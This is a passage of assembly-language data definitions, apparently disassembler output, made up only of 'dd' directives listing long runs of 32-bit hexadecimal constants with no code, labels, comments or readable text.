60BF02E5h, 9047AA31h dd 58FA8AD4h, 1704CE53h, 0FA5E01DBh, 90D8F2D1h, 73CB6E6Bh dd 0AF631101h, 0E17E59CAh, 0A2DA4E93h, 0ED2D0097h, 8A03D168h dd 12FFB3BEh, 194E0457h, 0E95B0232h, 70225E8Fh, 0F805369h dd 82F8968Ch, 1CDA8060h, 0FCD974C1h, 1A9701B3h, 0EB045FDAh dd 30F290h, 0A387B05h, 606736h, 0A1BD22B8h, 0FBBE667Ah dd 505B86A0h, 1F0E7E96h, 6CE8B2C9h, 61CC8AC3h, 0B616908Bh dd 0BDE804A9h, 0ED3AF8A2h, 206AC136h, 0F4CBD578h, 0E5027026h dd 37BB66DAh, 31ED5F9Bh, 0C5601864h, 7B12DD9Ch, 17C0FC90h dd 4E6A27D0h, 879ADBFFh, 9001FEB8h, 0DA61F74Bh, 0FCB6D27Fh dd 16C4B35Ch, 46666049h, 71203F90h, 28B6021Fh, 0B1BD2961h dd 0C2B0D669h, 0E68B7F59h, 8106B070h, 6BD30E10h, 0E1AEDFE4h dd 81027189h, 0CD5C2751h, 7F33D866h, 5FD92553h, 47BACBC1h dd 0E58D8443h, 81C37CA4h, 765565E4h, 0E07AD8C1h, 0CA1D9AACh dd 0A6EE7946h, 5F0D252Fh, 0B5895780h, 0F2294A01h, 0BD0B040Bh dd 2B31329Dh, 4AA0A7C8h, 81CF5604h, 0E91B91E3h, 72BF1084h dd 504717E4h, 0BD0617F8h, 0BD03043Eh, 20AE15FDh, 3A52BBEDh dd 5865EE31h, 0E462AA5h, 19610946h, 86045312h, 22B2B9FFh dd 0E9F5130Ch, 1A4FB24Bh, 579728F9h, 6C7DBB62h, 0F0FE0054h dd 0BFAF7E5Fh, 5B79FF01h, 74314112h, 2422B9E2h, 0B955A3B0h dd 41A5FDC2h, 6E8BFE27h, 0FE045689h, 12BE6D1Dh, 0F3B818D5h dd 69DDF8A1h, 2CE4E898h, 11D594FEh, 8B60030Eh, 8070D95h dd 0C798579h, 0D8566112h, 5CDAC3C2h, 5FD3E975h, 4E1A550h dd 0B5B9B10Ch, 0A8B30509h, 70DBC709h, 66E69D41h, 0D59D3138h dd 0C1F4F682h, 205313DCh, 0B720AF8Bh, 7C193FEh, 574B303Dh dd 4CA86024h, 0F3006D51h, 0C4CD4543h, 944D9529h, 9E5F1844h dd 0C04A2BF8h, 0E81EBDBh, 0F02A5A6Dh, 909FC927h, 7AD97881h dd 99431F2Eh, 2D9D473Eh, 118E90CEh, 3838E476h, 0F99092ADh dd 395B2CE2h, 0D4717A30h, 11D8128Ah, 0B754257Bh, 17F9047Bh dd 993AD018h, 6ABB12FDh, 429B409h, 0D4A4DDF4h, 2F8D25BDh dd 2A9E4BCCh, 6AAEE540h, 0BEAF00F7h, 48683ED6h, 42708156h dd 1763413h, 0DA2AAADDh, 24BC923Eh, 7957DD4Ah, 9793A81Eh dd 0F9A55015h, 0CF40091h, 413722DAh, 5AFA281Fh, 0A44E0791h dd 6D2C7A8Ah, 42005E0Eh, 295B5F60h, 0EB9A958Dh, 56C66A56h dd 31EE9541h, 3A97FAEEh, 508ED333h, 0C60194F3h, 6B4D2DC2h dd 0E63AE1FFh, 9B4E0D2h, 3179259Dh, 0EC104EC7h, 0A0CEF6D2h dd 0F0D268Bh, 0B13ED15Dh, 1F4FA4E5h, 8A4B3DA1h, 31D1225Bh dd 0AB4712E9h, 9272E857h, 9C82F40Eh, 2E42030h, 1243A85Eh dd 0E2C2A6E8h, 0B4778D66h, 0F0F0A66Ah, 167CF98Ah, 0F20D8B0Fh dd 0F2852DCFh, 0CBBE035Ch, 61353FE8h, 0E3FBF6ECh, 0D02580D9h dd 14299541h, 0EB4A7989h, 331E7256h, 5E32C949h, 5E564902h dd 0ED3258DCh, 74C23700h, 97139A3h, 219527h, 1DE9BB1Bh dd 925E4BD7h, 0B51A5C6Ah, 0A3BE9228h, 9D0B13D6h, 0BD3156FAh dd 5FA9D2A0h, 0E272BA8h, 79D150D6h, 0E910B7DFh, 0F0009435h dd 45552A15h, 0B6DCAFh, 0C9A0FF60h, 0DFE6FDFh, 990A50Fh dd 778232B5h, 5137576Ah, 0AE3DBF80h, 5A2ABB2h, 8529066Dh dd 0AB0BD49Dh, 9750DB28h, 0AD0B56E0h, 1D5F5B3Ch, 0FEE2820Fh dd 0F4099852h, 0F8D8C331h, 79CE585Ah, 265CBB07h, 0C7DA51EFh dd 395B2Dh, 0B4296227h, 0B9F8A6F8h, 5D70D378h, 48BB4DC3h dd 5F4E294Ch, 0C4B30CACh, 4E95FA5Eh, 9DB595D5h, 0C681200h dd 9FBB8AEEh, 0C5922B53h, 892D85FCh, 0BDF8B973h, 8C0F2912h dd 2655082Fh, 293E91Ch, 4A7B44EDh, 0D306F229h, 0F204946Bh dd 0B857E11Eh, 0B5B3D211h, 7B636E4Fh, 8EE85B12h, 0C5D0D8BCh dd 0D2B1CD4Ah, 0A60A77E6h, 0FAA9A7CDh, 96133300h, 2841891h dd 0C421B6CFh, 0B08B92D9h, 0A580675Ah, 0BDA93D9Dh, 0C1742E61h dd 69A1EDF6h, 6BA0F78Bh, 7303FB1Fh, 89DAE780h, 16A1306h dd 6251A703h, 5C07D590h, 8D7B49C9h, 1A73070h, 34DFE812h dd 0AF3DBD29h, 201841C9h, 0DEF1C204h, 1F968EF0h, 0D7F205DCh dd 0FC105A13h, 96052021h, 0A1510E24h, 2915CF80h, 18977525h dd 24B068D7h, 12DD6680h, 4FA5E0F9h, 0DE79833Ch, 7902796Eh dd 88C04C09h, 53D37063h, 0CBDEA16h, 0FEB45CE8h, 3604276Ah dd 0AF0EBB6Ch, 7334182h, 0D98AD190h, 759B3C5Bh, 0F49966F3h dd 296F12AAh, 0A8163929h, 581A1490h, 0F204C15Eh, 0EAD1809Ch dd 7CB79620h, 0B01C2643h, 68BD6081h, 0E60084C1h, 0E59F4E8Dh dd 2F9B7CAFh, 2AD8615Bh, 1AF30C4Ah, 0DD6FD3h, 0C6DBB8B0h dd 0E83F9C1Fh, 0A1604F0Bh, 467B4967h, 614B0DC8h, 2938398Ah dd 0C15B9570h, 34746178h, 0C01522E9h, 4ABCBB2Ch, 0E7F95F25h dd 7C877405h, 7C1C19E2h, 4BA6407Fh, 6E0B14BDh, 0B762340Ch dd 0F3DC8427h, 0AC08BF20h, 0B389270Eh, 5E423471h, 0D012FB04h dd 491955Fh, 1F043462h, 0E0801D11h, 3390188Dh, 54ADE904h dd 0EE817971h, 9B2B140Dh, 0C01AC8BCh, 5FEF8F22h, 8E5E6776h dd 0A2908F04h, 9A5675AFh, 0C1FBCF1Ch, 0ADC246E5h, 0F25A4E3Ch dd 6AFBF476h, 6492000Dh, 522B3DAAh, 47D70081h, 5F758ABCh dd 0BF3E5196h, 0CD04BBD9h, 1ABB0F82h, 0E381A012h, 563DCBD8h dd 0F15EA51Ch, 46362E68h, 5AD846C0h, 5E89D79Bh, 15F53261h dd 61F64504h, 66C161BCh, 2F4448BFh, 178C6335h, 4C3400E6h dd 0BCF13FBDh, 7513DBDDh, 35FA81F8h, 0C276533Ah, 0D7735F52h dd 2748B5A7h, 23027174h, 0D71D219Dh, 9901BE4h, 91041095h dd 905C8213h, 8AD38004h, 6E5A66BCh, 360301D2h, 0EC34C62Eh dd 0F926DC2Ah, 342E2541h, 0DBE292h, 0AB8EA803h, 3E6437Eh dd 8FBABF42h, 0D5A0ED77h, 0EB120E66h, 75F34CE7h, 0F290D95Eh dd 19C43792h, 0DE8AC8C4h, 6F2EBB8Dh, 936A0007h, 3326198Dh dd 0E1FF01A7h, 0DC2F75BFh, 0C9377C57h, 0D9F150h, 39E5D911h dd 37764A93h, 19D41300h, 0FE0BD3Fh, 2BE4978Ch, 0E678A600h dd 0EEABDE39h, 0ED4400EFh, 2F3DC619h, 9A121857h, 8401260Fh dd 5F5B8F65h, 2709AF74h, 5BE4D19Dh, 1FB7645Eh, 7D2291B4h dd 0EA73B13h, 70784BA1h dd 0B4AA9DAh, 5E8886F3h, 65520B9Fh, 60BA4853h, 28A26BCh dd 7E96132Eh, 0BB605000h, 9557EE4Eh, 5FF02423h, 377796B2h dd 214E079Fh, 32C4C02Ch, 401AC94Bh, 5AB6509Dh, 0C85B4E41h dd 9400AAAEh, 95E6DCBFh, 55E59D91h, 7B3FB6A5h, 5BD10011h dd 0C2E5E8D8h, 0A6C02F4Ah, 274A3B78h, 0E2F07521h, 0ED72742Fh dd 156A870h, 0DA96EADEh, 8536BB74h, 0B2F9EB5Ch, 29216327h dd 0E23ADDBDh, 0C0853C1Dh, 7EBA9761h, 1B61E96Dh, 292FF0C2h dd 0BD7DFA70h, 92FF804Ah, 83ABD99Fh, 0E935D504h, 6BBDF98Bh dd 26A6BD6h, 0D88A132Eh, 5F5602C6h, 7D7A4C5Eh, 3F894535h dd 0EDC682FFh, 71E90226h, 0E4CF0BDDh, 3F4FE0Ah, 0D3472AEFh dd 0D7E0DAF0h, 463AB9BFh, 0F29C04AEh, 9A82D6Dh, 0E0DFB64Bh dd 27C8D57Ch, 38FE83CCh, 2CD3C06Fh, 0F766E0DEh, 0EE0A8929h dd 21D6B58Eh, 0E9245C01h, 9880F8EBh, 0B11D96C6h, 0FC80BDB2h dd 0BB179CBCh, 2260A971h, 6E2EA57Ah, 80C30020h, 6FF75BD0h dd 0C82664EFh, 0FB1FC07Ch, 4265EEC0h, 86980Bh, 0FA30F6EBh dd 0ABBE6CC8h, 4103EDE2h, 79D55EFEh, 862AD8ECh, 0DA9300C3h dd 286EEE76h, 4F00093Dh, 3BA864E3h, 584DE7h, 0E04C593Ah dd 0ADE4F161h, 0AB6A77E4h, 3400191Bh, 0E37F0372h, 789103D4h dd 382D6BEBh, 3E0AA690h, 0DC951E1Ch, 0A43FBBh, 56CD19C3h dd 38C39C5h, 0EEA73A57h, 0F1CA17Dh, 2B800A1Fh, 0D791C187h dd 8151C47Bh, 757380BFh, 0ECB06AEAh, 3CA9538h, 67DA479Dh dd 59380EF4h, 46A05428h, 0F6015D21h, 69E27207h, 0D63080C5h dd 0B6CC086h, 0D7C284D4h, 0A406B4C0h, 6F7A7AC7h, 0E9413327h dd 1480A315h, 0ECAA9E8Bh, 13C7A07Fh, 0F960A2DEh, 383BA98h dd 6BF8B1B4h, 1E02AF97h, 0D281C09h, 0A9F1A56Eh, 0ED6DD406h dd 0A15897BAh, 2F54F3E4h, 840691A0h, 9765F6B0h, 8EC71C13h dd 74324122h, 0A2CC8CD8h, 3F0DD73Ah, 0FCEB770Bh, 0E4B8F0F3h dd 881063A3h, 751201C2h, 1B0ABE66h, 3D00C0EFh, 7A4E5B1Dh dd 0C19101D6h, 3C1C2488h, 62E2E808h, 5AFA4B1Eh, 2B47BA77h dd 0E676CE90h, 94AE15D2h, 391CE005h, 8E8EFE2Ch, 4340DDC8h dd 96C45BE7h, 5C5DD213h, 92C06B1Ch, 0B02669Bh, 0C2E901Eh dd 77DB9DBDh, 370926F8h, 5F74Bh, 0B2F46426h, 0EA3414A7h dd 56009DDDh, 10D2D1C9h, 1903C484h, 0CB94380Ch, 99AC808Bh dd 53FF00B9h, 0EC6CFB12h, 0CCA0BFAAh, 51480140h, 0FEEF8094h dd 90C082h, 3BE97509h, 5C7ED7A4h, 0B8A2CD01h, 465FD08Ch dd 0BC869843h, 0A5BE2240h, 26E4FCB5h, 44C4DC54h, 23655100h dd 0E0A6B68Fh, 9ED7991h, 0D65DFD46h, 2F691200h, 230EF966h dd 0AE088218h, 0FC46E06Fh, 4AEDDBh, 7DC76B5Fh, 2C379BDDh dd 1FE3700Ch, 7281EEADh, 0C6BFE94h, 6AB427DBh, 0C372D619h dd 4539900Fh, 0B2CE20F9h, 6298E9B0h, 5FDDB6AEh, 63207924h dd 970A5220h, 0E66E9591h, 54CA5500h, 1B793B9h, 0F1DCDE2Dh dd 204C4303h, 0B53819CBh, 40E980AFh, 0CC97223Ch, 3D8F0006h dd 0E272FE0h, 3449901Bh, 23C8923h, 0A164BB6Ch, 0DC661A8Fh dd 0D32084E5h, 0B74B32D8h, 2E40291Bh, 0F62F354h, 200672B2h dd 82D2973Bh, 0BE12B600h, 5DF1B7A7h, 0E480008h, 4BBF2069h dd 0FA01B26Eh, 0D9ED7E8h, 8B454FF1h, 324ECC00h, 1CC89930h dd 804A0388h, 331ACC9Ch, 0A7D5835h, 2EFE8530h, 4871EEFBh dd 5F00E254h, 33685C2Ch, 5B00AB84h, 86DFDA48h, 0FF19390Bh dd 0E84CD346h, 0F36300E6h, 794A0B5h, 33711110h, 0BD2E6700h dd 30FB1A61h, 0FECA07DFh, 0D0CB8D98h, 0B0F972E2h, 0F2455E4h dd 8F0CA14Fh, 0ED2D73h, 0E560CCF8h, 5DA33C75h, 9D010EE2h dd 30FA8881h, 40F4EAFFh, 291D032Ch, 0BA20FC6Fh, 2B571A02h dd 60C58017h, 0B813439Ch, 0BB7E0981h, 0E628FB4Ah, 20A2659Dh dd 84D802A5h, 3463B909h, 0F6E820A5h, 389E676Dh, 0CD00115Bh dd 0DFCE889Dh, 8509FA3h, 4F725AEBh, 2B374B00h, 0CB8BD579h dd 0AC98388Dh, 9E154500h, 0E0D47DC2h, 35F8BD13h, 495C3342h dd 0DE8FA24Ah, 4A968C2Bh, 28DCE406h, 98821E42h, 9DA903Bh dd 34243C90h, 6FF0E510h, 4BBA6409h, 80AD09DCh, 57F8676Dh dd 31BC051Bh, 80B01C9Bh, 0C5F1E485h, 9ADC6939h, 48C0DB7Bh dd 62F22Ah, 0F5493524h, 41DD4E07h, 90764261h, 0D80FF03h dd 7127461h, 0CA039F33h, 0FC5D018Ah, 79CE1C1Ah, 0DD002038h dd 155C4F49h, 5BDC86h, 11048891h, 0B4B2C758h, 872E4539h dd 627E8013h, 0F7E2BAB1h, 6DB1D6C9h, 70691515h, 207583C0h dd 7088FA00h, 6D780891h, 97F232E6h, 0AC3566Fh, 0F64CE0F0h dd 0AB206628h, 455D5A24h, 3D139005h, 940A801h, 6DF889Ah dd 22B1F8CAh, 55FC0FE0h, 981FDFE4h, 0C5027F91h, 465D3B0Fh dd 753C1609h, 8A2000D9h, 2B3E1E26h, 67B31F26h, 443EF02h dd 0B5CB6054h, 3CF448D4h, 0C39FE300h, 0AA213134h, 0FEC2F124h dd 0C80F3F96h, 31093362h, 0C3570099h, 4E5882h, 0DF60B502h dd 7B6E283Dh, 0FDE827E4h, 1C062100h, 0BE8A9F3Ah, 11540BF8h dd 80000741h, 9C283BB6h, 6B3A7A00h, 7F1F235Fh, 1949038h dd 0BA41B7AFh, 0DD243132h, 3B34200Bh, 3056A826h, 0C300CA92h dd 0EE721083h, 8E320FF6h, 0EC8B54C7h, 23367883h, 92C07092h dd 0C60080D0h, 74E47FD3h, 0B0132732h, 2451E61Ch, 88C84701h dd 4B0F6ECh, 4C78CD61h, 0D10240D8h, 0C5594B12h, 59AB1E0h dd 0F300ADE8h, 0CA0E5CBh, 75622434h, 42320070h, 0A2D44DD1h dd 0A672B3E9h, 27262FB8h, 37AC921Dh, 13F85939h, 203072CCh dd 508481Ch, 85B1A1A4h, 0C0CF8429h, 87CE8ED7h, 0CA36183Bh dd 8380B2C4h, 79136F08h, 73F1004Fh, 84B0A5E3h, 3D001D28h dd 3060FFB6h, 7548716h, 89251178h, 309387BCh, 58FDDDE4h dd 0A8044D01h, 0E9FCBA9Ah, 0E26A4F61h, 412B008Dh, 0B4A4BEE5h dd 0B5E00F2h, 0A3A10D4Bh, 590EF5B3h, 0EB0F4909h, 5A5B85A0h dd 0F7BC0818h, 4A0A1F5Bh, 0D831F00Ch, 1F698C68h, 3CAA7E5Ah dd 87D2014h, 5036BB84h, 0CB8125A7h, 14123CE8h, 3580BA80h dd 0A6B8039Dh, 0AFC5701h, 835AD031h, 24892C8Dh, 1D4EA038h dd 53515E00h, 0AB7EE8BBh, 0E0B9303Ch, 5BD9310Bh, 89F1011Ch dd 768B59CCh, 51E0EE50h, 5132005h, 5C581887h, 835828FFh dd 0E90FC47Eh, 67FC167Dh, 46D1100Ch, 0E8E095B3h, 0E86B4B19h dd 92B880D5h, 96167h, 0E0FFC503h, 623646FAh, 0F9CE2900h dd 21687C63h, 604D0723h, 10E40FA9h, 2C493265h, 0FA757D07h dd 41105C8Eh, 7D7AB7A6h, 0F37015h, 5997D981h, 64C49B87h dd 0D5771900h, 2CDC3870h, 69880023h, 6FBE50C2h, 0F90F1E86h dd 806EFD4Ah, 0A94E620Ch, 68EC0E78h, 5B8057C3h, 72F58A28h dd 0FCCD7C03h, 9F6F4247h, 9252ED40h, 77970023h, 71EF2728h dd 0B7004EE0h, 35315D11h, 0B1CEDCBh, 43DDEB53h, 0EABEF85Ah dd 625B09F4h, 187FDE8Ah, 5E38139h, 68161F5Fh, 3A15A850h dd 310F13B7h, 5ADF32FFh, 2286157h, 6192B610h, 6BE76F9Dh dd 7E2552DBh, 6F1214D6h, 0B9A1875Ah, 164CF354h, 0B19D2F33h dd 0AA470854h, 0DBEE61B4h, 0A96FC02Ah, 1F3AE4A8h, 0EDF20108h dd 295425C2h, 0C06904DCh, 0BF02B2CFh, 0BF50FE00h, 54EEFD3Fh dd 5060947Eh, 9C6A9BB4h, 6101DEEEh, 0B509036Dh, 0BA040C1Dh dd 7DA19485h, 0AC3754ADh, 739E0339h, 102F5274h, 5A06695Eh dd 15C835DAh, 507F58C1h dd 72F9CFF8h, 5F742F6Dh, 318D7802h, 0D5F43A7Dh, 4759450Bh dd 86F890AFh, 0B7C5398Bh, 0DF660480h, 18204A22h, 0EDD1FF27h dd 0D339E06Bh, 8B3B60E2h, 4D015A8Dh, 26DD852Bh, 9DBD3110h dd 7F396EF5h, 1B65F56Ah, 9F05C48Eh, 7AEB7494h, 5B853AA4h dd 92F96FE0h, 5E807B33h, 0EE1934D8h, 10E90707h, 624B715Bh dd 5E0B6AB4h, 0FB181266h, 0BB1F917Ah, 99DEA7E2h, 39E25266h dd 0D8B25BFBh, 455FD98Ah, 74C5503Ch, 80629C03h, 0BD549A67h dd 8115E4B1h, 0E9E1D6F6h, 0CE223F1Bh, 9A27E02Bh, 80A90237h dd 0A2513BA4h, 0EC1D59E0h, 0F99731B7h, 0B524011Ch, 66AD2751h dd 0C1D9EF74h, 74F6B049h, 1600DC51h, 80FACD4Bh, 9F60E0E7h dd 9454571Ah, 0A579D440h, 692A09F1h, 0B0862324h, 89BF891Dh dd 0C82FDFB7h, 317109D2h, 625128DCh, 0EEBD8B11h, 60136EDCh dd 9D2EBECh, 1C03CF75h, 5D5B17C1h, 207920E8h, 0F91305E5h dd 0A8A370E6h, 0CA7FBC4Bh, 0FE183230h, 9D0C6548h, 0F82738C4h dd 6EFF46BAh, 0C1C1C32Dh, 0CECABF66h, 6E2D52DCh, 0B723F6C6h dd 0B6D95812h, 0DA4A5C00h, 0E8178970h, 0D5FF003Bh, 9CB7C82Bh dd 8DF8D18Bh, 810B512Ah, 0DA9DE15Ah, 0FBBFECh, 5679D7F8h dd 2D996040h, 0E595921Dh, 1D858B02h, 466CDC26h, 6D9008FCh dd 137F5648h, 20FE59D2h, 7F99A258h, 0B307E6F4h, 0DF96A9B5h dd 7A588670h, 1A1EC3Bh, 5192AEDDh, 3F615F59h, 5BFFBDA0h dd 4082928Fh, 890CE328h, 8485B909h, 1A0C44h, 0FD492175h dd 38C47AB3h, 0E72F0D0Bh, 1CE6460h, 8C20FED8h, 40E86B70h dd 8F289C79h, 4A847500h, 6FC7A872h, 0BD9A0376h, 0FC8A476Dh dd 48E89A4Fh, 0E2DA96DEh, 0B53F22A6h, 85291198h, 282AD520h dd 4A1DA583h, 0CDF2FEh, 0B42146C2h, 3C50F5F0h, 6885638Eh dd 10C439DCh, 5899B4F1h, 81531008h, 427B2EDFh, 0E65B16D9h dd 0EA1013C1h, 7FAD3A17h, 8E2441B8h, 0C22C9C89h, 0ED084A6Ah dd 0E511829h, 5F8107B1h, 3BB306Eh, 0B1C4C99Dh, 604F36B9h dd 0D3CA8D8Bh, 2A9DE241h, 61594390h, 837B0BBBh, 0B2704CDFh dd 0C35D4DB7h, 62E70580h, 32CDFC64h, 60ABB7E1h, 0D6002623h dd 2B078195h, 9003C753h, 914DA328h, 0E9C0CB61h, 72DC5FF7h dd 40BF0507h, 0B8630C9Ah, 0DE75B86h, 0C46743A1h, 772A865Bh dd 0B120C5AAh, 959EB523h, 0B12F4390h, 0D078731Eh, 65387F62h dd 3F70049Eh, 0C9FF014Ah, 35F7024Fh, 557E12F7h, 0F9A77B3Dh dd 3D64947h, 1C46D6h, 0EEFFAEE0h, 26F279FBh, 8B1F6DA4h dd 0B373ABCEh, 517E73A7h, 0EECD2FF8h, 745C701h, 36BB6600h dd 0B9E2965Eh, 0B75FFEF2h, 0BB803B9Ch, 21556E8Fh, 0B4F5AA9h dd 396B8CB1h, 4A64B8C9h, 0B503906Fh, 0ACE0A447h, 6EF88B99h dd 6CC2E924h, 8CCB2E09h, 2FF88D31h, 0BD0884A6h, 4431227Dh dd 0DB7FE1FFh, 3BC19CCEh, 1095BD09h, 0E3DD386Eh, 652BCF9Dh dd 90788C76h, 0EE12A500h, 28F6EFF0h, 0DB8C0259h, 0E6A80BFAh dd 0C151E4DCh, 6E7B3Bh, 0AC2B62C9h, 0F323E0C1h, 207F4DD5h dd 8689F1C1h, 710A0500h, 0B5BD03D7h, 6AC79D33h, 5B044709h dd 22BD0A2h, 2EB3AB12h, 80DB31AAh, 5360F4F7h, 6516A592h dd 0D9E15B79h, 0B8B8822Dh, 0B0280702h, 0DC40023Eh, 0BE526F5h dd 0F7DC113Dh, 0FC52D564h, 40708F6Ch, 0CF16A764h, 96480028h dd 3ABB5068h, 542D04A2h, 98CE465Fh, 78A6F08Bh, 0C61AB762h dd 9DA3C0F7h, 23508024h, 6AB18D26h, 90615E84h, 5B8033ECh dd 0ED597BC4h, 803A1C3Eh, 0F3A00965h, 9A9D24h, 0BB576C92h dd 53E581Eh, 4505B3Ch, 905FDE8Ah, 0DA6EEEh, 70C889EBh dd 249335F7h, 0A5AB07C6h, 7600EBE4h, 0C954A55Ah, 167D05Bh dd 4015666Ah, 0F4E6ECE9h, 0BE04B0A8h, 10E85051h, 0D9AD8C40h dd 3F0796C9h, 0A02F7090h, 9AFDC680h, 0F9581C72h, 0BD6A535Bh dd 7DE2BC88h, 48511637h, 0A204BE19h, 60023289h, 0E55D8A0Fh dd 26B20021h, 4C47CD46h, 0CE001BE8h, 9BC9940Ch, 0AD86AB9h dd 0CD850958h, 0F26196DAh, 0E2339634h, 6287F08Ah, 508925C9h dd 0DA64E3F4h, 5E22EB12h, 6E2D2012h, 0B3E6854Bh, 5BA3D00h dd 0F37606F6h, 0E2960922h, 9BD755D1h, 0B30C10C6h, 30892929h dd 0DEE7DE25h, 272BDB00h, 58B449B6h, 11652DE8h, 98B92966h dd 1C8CEC00h, 500DEBh, 84CC9BF6h, 0C1043C83h, 23CE0800h dd 0BF8FABE5h, 7BD50BC7h, 44795B2Eh, 0C4B1C7A0h, 18CE905h dd 0FC7AFEh, 2CB6800Bh, 19E67653h, 0B489FC1Fh, 452D6F14h dd 226A3Ah, 3B035060h, 1848E3A6h, 0C0F81CCBh, 72831781h dd 0F2134E6Eh, 0FAE6D306h, 2C4A86A0h, 4502877Bh, 698531FEh dd 3BB772Ah, 1ED58DE0h, 0E449EDBDh, 0B3A9611Ch, 7E9F30h dd 13C697BEh, 0C719D8Bh, 0FC06E1C5h, 23656BFBh, 62020118h dd 6FF4C5F6h, 8DC94B1Ch, 9672C141h, 8827127Bh, 1203D13Bh dd 3FC3E662h, 7E94F8A7h, 0C02907F6h, 960F968Fh, 0F55B2B01h dd 9350CCDh, 0CFD044CDh, 0DD8000Eh, 89EE6826h, 8BB8FD0Ah dd 0A7BCD071h, 147A1103h, 3DF01603h, 3EF5E71Ah, 2BD91623h dd 1D66D6E4h, 0A7DBABBFh, 29786EF3h, 32D12085h, 0D09E0F76h dd 8AF56081h, 987E61DAh, 197AE7EEh, 1BD37B5h, 0EF095A82h dd 51537029h, 90002F41h, 5B1C2E23h, 4ECA8B18h, 72335E20h dd 689303D7h, 814C6147h, 9CA5CCB8h, 0A7CA105Ah, 0B67E5225h dd 299B0BF6h, 3398DFF3h, 0D078C2Bh, 79FC145Bh, 7BFB3DC5h dd 0FCD52E08h, 0DC233D09h, 814077D9h, 13BA82F3h, 0E6F839B5h dd 0CFFBE0C8h, 0BBC49547h, 0F4451800h, 3B23E42Fh, 0B9570586h dd 0B86C5F6Eh, 2F53A2BAh, 2481491Fh, 6BF91C7Dh, 0FE6D2740h dd 0CE1965C0h, 480A0462h, 0C17775E8h, 52779AEh, 9A3ACBA1h dd 0C014C828h, 1060BBECh, 0C6619B2Dh, 1D6CC59Fh, 3270EE29h dd 1665F781h, 0E70B96DEh, 0AFA64B81h, 8DBBB0A7h, 0F9B596D1h dd 9503AD10h, 0BBE071B3h, 3F29E705h, 3F247633h, 44C5D513h dd 9AB275EBh, 0C2F3C0E3h, 3F4B658h, 0C7BC7346h, 3A916DBFh dd 0B67E5542h, 0DA73F039h, 870F21AFh, 0DF01BF01h, 513814FCh dd 9A7B3D6h, 0FF71BD01h, 0A959192Bh, 23372Fh, 839FFCD2h dd 0BD2F33F8h, 5D51C291h, 1B6405EDh, 0C171FA64h, 1AD8ECBFh dd 0A70BB75Ah, 292DE3E6h, 0D620EA95h, 0BE7027B0h, 0B78994B5h dd 66165237h, 0D0D86005h, 0BED105BAh, 4F95B8A9h, 6BC0AFDEh dd 3C63B023h, 0A8AC6404h, 0DBEB6AF1h, 7EB0C026h, 218CD0FAh dd 102D9589h, 259BFCh, 0F2E2D1D9h, 56FDEABFh, 0FEF0B2B7h dd 29F9C234h, 702C657Dh, 0A2000875h, 0D4B2211Ch, 0BAB04FEh dd 1A7DB529h, 0C9206CFAh, 0B496501Eh, 500C3B40h, 842EDB5Ah dd 0BCCC5603h, 216400DFh, 15C0EFEAh, 0CD1E7F3Ah, 6093F666h dd 2844375h, 5B538961h, 23D76B6Eh, 8E79001Bh, 91EBF02Ah dd 0EDBDB3FAh, 0F6F92F5Dh, 0B1BD2B84h, 204FFC53h, 8A961724h dd 35D8A0D9h, 0A941778h, 401F0FDCh, 0FA722393h, 9F5338h dd 0BD349D06h, 9511FF97h, 864EE204h, 2B2981CCh, 0AF01156Ah dd 78BF10BDh, 0D6B32B60h, 0FBBF0FC1h, 80763861h, 0AE1265CBh dd 8D5400D9h, 0B4AAC5C4h, 610196E3h, 0C157DE0Dh, 6B6FDC99h dd 11B23D3h, 3679F764h, 66CA7014h, 0D81682B7h, 0EBD4DC9Ch dd 9250EFFBh, 58AB87Fh, 0E3801F82h, 0A2DAB8D3h, 0B4592B3Dh dd 0D91BA3ACh, 3DC4B727h, 166B53F1h, 0B85BE9A1h, 3E050132h dd 0FB617C9Dh, 2B57D689h dd 69C7592Fh, 82529A5Fh, 225F1DAh, 0AFDC16E9h, 0C0946D2Dh dd 0F2D38964h, 806D6621h, 2EB18851h, 8B279B8Fh, 739E73C1h dd 5188BEF4h, 16B303D9h, 715D6D23h, 17A04D80h, 0CFEFBB50h dd 5B5B7DEEh, 0F62E63E1h, 0F2844B93h, 3646EEBh, 2150EEB2h dd 0E31EF09Eh, 81B73E40h, 42149C3Ch, 8526A40Dh, 645765AFh dd 9933BFB3h, 0D220405Fh, 81214005h, 3D17C706h, 74B27BF0h dd 0B9614B7Ah, 3D06BC24h, 4102C4DAh, 4D5BD29h, 0A63F445Fh dd 44A607D2h, 20B09DAAh, 92BF90CEh, 4203F412h, 28FC30FEh dd 3512A147h, 23FC901Dh, 0DC4F9674h, 3384FC0Bh, 1263DC9Dh dd 2C3CA226h, 13F696D9h, 0EC446BFh, 37E980BDh, 74081218h dd 323C1100h, 238C41B3h, 90DCE863h, 0BE6995BFh, 0B343A5Bh dd 0DBFBC301h, 0DD7B7DE6h, 0A2987665h, 0B45DC694h, 8C5200C2h dd 0DD17F20Ah, 66A7F400h, 30E781C8h, 78530073h, 0BD23D1FFh dd 9C970F0Dh, 3C5045D2h, 26A1352h, 2D8BA29Bh, 1E756CD8h dd 2605030h, 0E6D38B61h, 0A05BA3E8h, 7945D4AFh, 5FBF0F48h dd 90E0BD77h, 58CB8B23h, 809AA19Dh, 2F7671C7h, 0DCDE909h dd 8462D079h, 0F9C6097Bh, 703CD39Fh, 0A1284B5h, 0C2F7B0DAh dd 0A0AAB65Ah, 69CC49Eh, 0AB764E92h, 7D4F9E86h, 3584EAE8h dd 40961028h, 0B129FEBEh, 70258080h, 0F8174047h, 0FDA8B297h dd 7BA3D6E1h, 148800DBh, 20BF23C4h, 0CD8681E7h, 0BB3B67EEh dd 24D382FBh, 0F73B4A53h, 31BA01BBh, 4034BC1h, 338DA9C1h dd 806FDE2Bh, 0F615A49Ah, 945E0F96h, 2923B443h, 5707399Dh dd 8A98FCBBh, 11C17BD9h, 1D974013h, 7DAE028Ah, 0B670092Bh dd 18406DF0h, 0BF7038E6h, 17343989h, 1DD904F5h, 0F871E402h dd 0E798BB5Eh, 0BDEBB9Fh, 34421CCh, 2E79B00Dh, 0B352BE0Bh dd 416638C9h, 0BB1E5F40h, 42525CFEh, 107CD0F2h, 9229ED85h dd 0E1D249E8h, 3423D2h, 57BF5544h, 17962028h, 2DA68D0h dd 5BA7B7EEh, 105DA5Eh, 59A03585h, 30C8482Bh, 0BE684D25h dd 0E924F9D1h, 14621983h, 2919E1AEh, 0D84B238h, 98C6BC0Bh dd 0A2241592h, 0DAF5E309h, 0FE600422h, 21ED47C1h, 0B25E6102h dd 344B1C91h, 7704EE33h, 0C1F8469Bh, 0E9341620h, 0A81E213Ah dd 5B9EF66Dh, 8F5EF8BAh, 0BB402244h, 666EEEECh, 0A550F97Fh dd 